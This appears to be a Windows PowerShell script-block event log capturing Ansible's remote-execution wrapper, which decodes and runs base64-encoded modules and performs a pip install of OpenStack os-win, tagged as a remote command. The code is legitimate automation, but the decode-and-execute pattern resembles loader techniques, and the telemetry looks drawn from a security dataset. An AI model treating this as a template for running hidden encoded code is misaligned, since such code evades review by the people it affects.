[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: c5c8df17-09bb-499f-821e-cb9b7483279a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1627 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1536 | 4348 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:52 AM | dfeadd90-ee34-0004-c626-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 2742da5b-cf3b-475f-8dea-2596c8c32c86
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1626 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1536 | 4348 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:51 AM | dfeadd90-ee34-0001-4428-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
gICAgICRoYXNoID0gJHJhd19oYXNoLkhhc2guVG9Mb3dlcigpCiAgICAgICAgfSBFbHNlIHsKICAgICAgICAgICAgJGZwID0gW1N5c3RlbS5JTy5GaWxlXTo6T3BlbigkcGF0aCwgW1N5c3RlbS5JTy5GaWxlbW9kZV06Ok9wZW4sIFtTeXN0ZW0uSU8uRmlsZUFjY2Vzc106OlJlYWQsIFtTeXN0ZW0uSU8uRmlsZVNoYXJlXTo6UmVhZFdyaXRlKTsKICAgICAgICAgICAgJGhhc2ggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRzcC5Db21wdXRlSGFzaCgkZnApKS5SZXBsYWNlKCItIiwgIiIpLlRvTG93ZXIoKTsKICAgICAg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21tYW5kX3Jlc3VsdC5zdGRvdXQKJHJlc3VsdC5zdGRlcnIgPSBDbGVhbnNlLVN0ZGVyciAkY29tbWFuZF9yZXN1bHQuc3RkZXJyIAokcmVzdWx0LnJjID0gJGNvbW1hbmRfcmVzdWx0LnJjCgokZW5kX2RhdGV0aW1lID0gW0RhdGVUaW1lXTo6VXRjTm93CiRyZXN1bHQuc3RhcnQgPSAkc3RhcnRfZGF0ZXRpbWUuVG9TdHJpbmcoInl5eXktTU0tZGQgaGg6bW06c3MuZmZmZmZmIikKJHJlc3VsdC5lbmQgPSAkZW5kX2RhdGV0aW1lLlRvU3RyaW5nKCJ5eXl5LU1NLWRkIGhoOm1tOnNzLmZmZmZmZiIpCiRyZXN1bHQuZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "pip install -c c:\\openstack\\build\\requirements\\upper-constraints.txt -U -e c:\\openstack\\build\\os-win", "_ansible_verbosity": 4, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: b29ee709-6b8b-427a-b2cc-07c57de9c161
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1625 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1536 | 4348 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:51 AM | dfeadd90-ee34-0004-b526-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
U7CiAgICAgICAgICAgIGlmICghR2V0RXhpdENvZGVQcm9jZXNzKHByb2Nlc3NIYW5kbGUsIG91dCBleGl0Q29kZSkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIGdldHRpbmcgcHJvY2VzcyBleGl0IGNvZGUiKTsKICAgICAgICAgICAgcmV0dXJuIGV4aXRDb2RlOwogICAgICAgIH0KICAgIH0KfQoiQAoKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTdG9wJwoKRnVuY3Rpb24gTG9hZC1Db21tYW5kVXRpbHMgewogICAgIyBtYWtlcyB0aGUgZm9sbG93aW5nIHN0YXRpYyBmdW5jdGlvbnMgYXZhaWxhYmxlCiAgICAjICAgW0Fuc2libGUuQ29tbWFuZFV0aWxdOjpQYXJzZUNvbW1hbmRMaW5lKHN0cmluZyBscENvbW1hbmRMaW5lKQogICAgIyAgIFtBbnNpYmxlLkNvbW1hbmRVdGlsXTo6U2VhcmNoUGF0aChzdHJpbmcgbHBGaWxlTmFtZSkKICAgICMgICBbQW5zaWJsZS5Db21tYW5kVXRpbF06OlJ1bkNvbW1hbmQoc3RyaW5nIGxwQXBwbGljYXRpb25OYW1lLCBzdHJpbmcgbHBDb21tYW5kTGluZSwgc3RyaW5nIGxwQ3VycmVudERpcmVjdG9yeSwgc3RyaW5nIHN0ZGluSW5wdXQsIHN0cmluZyBlbnZpcm9ubWVudEJsb2NrKQogICAgIwogICAgIyB0aGVyZSBhcmUgYWxzbyBudW1lcm91cyBQL0ludm9rZSBtZXRob2RzIHRoYXQgY2FuIGJlIGNhbGxlZCBpZiB5b3UgYXJlIGZlZWxpbmcgYWR2ZW50dXJvdXMKCiA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B3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbWV0ZXIgJyRuYW1lJyBpcyBub3QgYSBZQU1MIGxpc3QuIgogICAgICAgICAgICB9CiAgICAgICAgICAgICMgLCBpcyBub3QgYSB0eX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wdG9TZXJ2aWNlUHJvdmlkZXIgfQogICAgICAgICAgICBkZWZhdWx0IHsgRmFpbC1Kc29uIEB7fSAiVW5zdXBwb3J0ZWQgaGFzaCBhbGdvcml0aG0gc3VwcGxpZWQgJyRhbGdvcml0aG0nIiB9CiAgICAgICAgfQoKICAgICAgICBJZiAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtZ2UgNCkgewogICAgICAgICAgICAkcmF3X2hhc2ggPSBHZXQtRmlsZUhhc2ggJHBhdGggLUFsZ29yaXRobSAkYWxnb3JpdGhtCiAgICAgICA
ScriptBlock ID: b29ee709-6b8b-427a-b2cc-07c57de9c161
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1624 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1536 | 4348 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:51 AM | dfeadd90-ee34-0004-b526-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkc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gdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiRwcm9jZXNzX3V0aWwgPSBAIgp1c2luZyBNaWNyb3NvZnQuV2luMzIuU2FmZUhhbmRsZXM7CnVzaW5nIFN5c3RlbTsKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5MaW5xOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uVGhyZWFkaW5nOwoKbmFtZXNwYWNlIEFuc2libGUKewogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNFQ1VSSVRZX0FUVFJJQlVURVMKICAgIHsKICAgICAgICBwdWJsaWMgaW50IG5MZW5ndGg7CiAgICAgICAgcHVibGljIEludFB0ciBscFNlY3VyaXR5RGVzY3JpcHRvcjsKICAgICAgICBwdWJsaWMgYm9vbCBiSW5oZXJpdEhhbmRsZSA9IGZhbHNlOwogICAgICAgIHB1YmxpYyBTRUNVUklUWV9BVFRSSUJVVEVTKCkKICAgICAgICB7CiAgICAgICAgICAgIG5MZW5ndGggPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPCiAgICB7CiAgICAgICAgcHVibGljIEludDMyIGNiOwogICAgICAgIHB1YmxpYyBJbnRQdHIgbHBSZXNlcnZlZDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwRGVza3RvcDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwVGl0bGU7CiAgICAgICAgcHVibGljIEludDMyIGR3WDsKICAgICAgICBwdWJsaWMgSW50MzIgZHdZOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQKICAgIHsKICAgICAgICBVU0VTVERIQU5ETEVTID0gMHgwMDAwMDEwMAogICAgfQoKICAgIHB1YmxpYyBlbnVtIEhhbmRsZUZsYWdzIDogdWludAogICAgewogICAgICAgIE5vbmUgPSAwLAogICAgICAgIElOSEVSSVQgPSAxCiAgICB9CgogICAgY2xhc3MgTmF0aXZlV2FpdEhhbmRsZSA6IFdhaXRIYW5kbGUKICAgIHsKICAgICAgICBwdWJsaWMgTmF0aXZlV2FpdEhhbmRsZShJbnRQdHIgaGFuZGxlKQogICAgICAgIHsKICAgICAgICAgICAgdGhpcy5TYWZlV2FpdEhhbmRsZSA9IG5ldyBTYWZlV2FpdEhhbmRsZShoYW5kbGUsIGZhbHNlKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGNsYXNzIF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XQuVW5pY29kZSwgQmVzdEZpdE1hcHBpbmcgPSBmYWxzZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBXU3RyKV0KICAgICAgICAgICAgICAgIHN0cmluZyBscEFwcGxpY2F0aW9uTmFtZSwKICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscENvbW1hbmRMaW5lLAogICAgICAgICAgICBJbnRQdHIgbHBQcm9jZXNzQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGxwVGhyZWFkQXR0cmlidXRlcywKICAgICAgICAgICAgYm9vbCBiSW5oZXJpdEhhbmRsZXMsCiAgICAgICAgICAgIHVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICA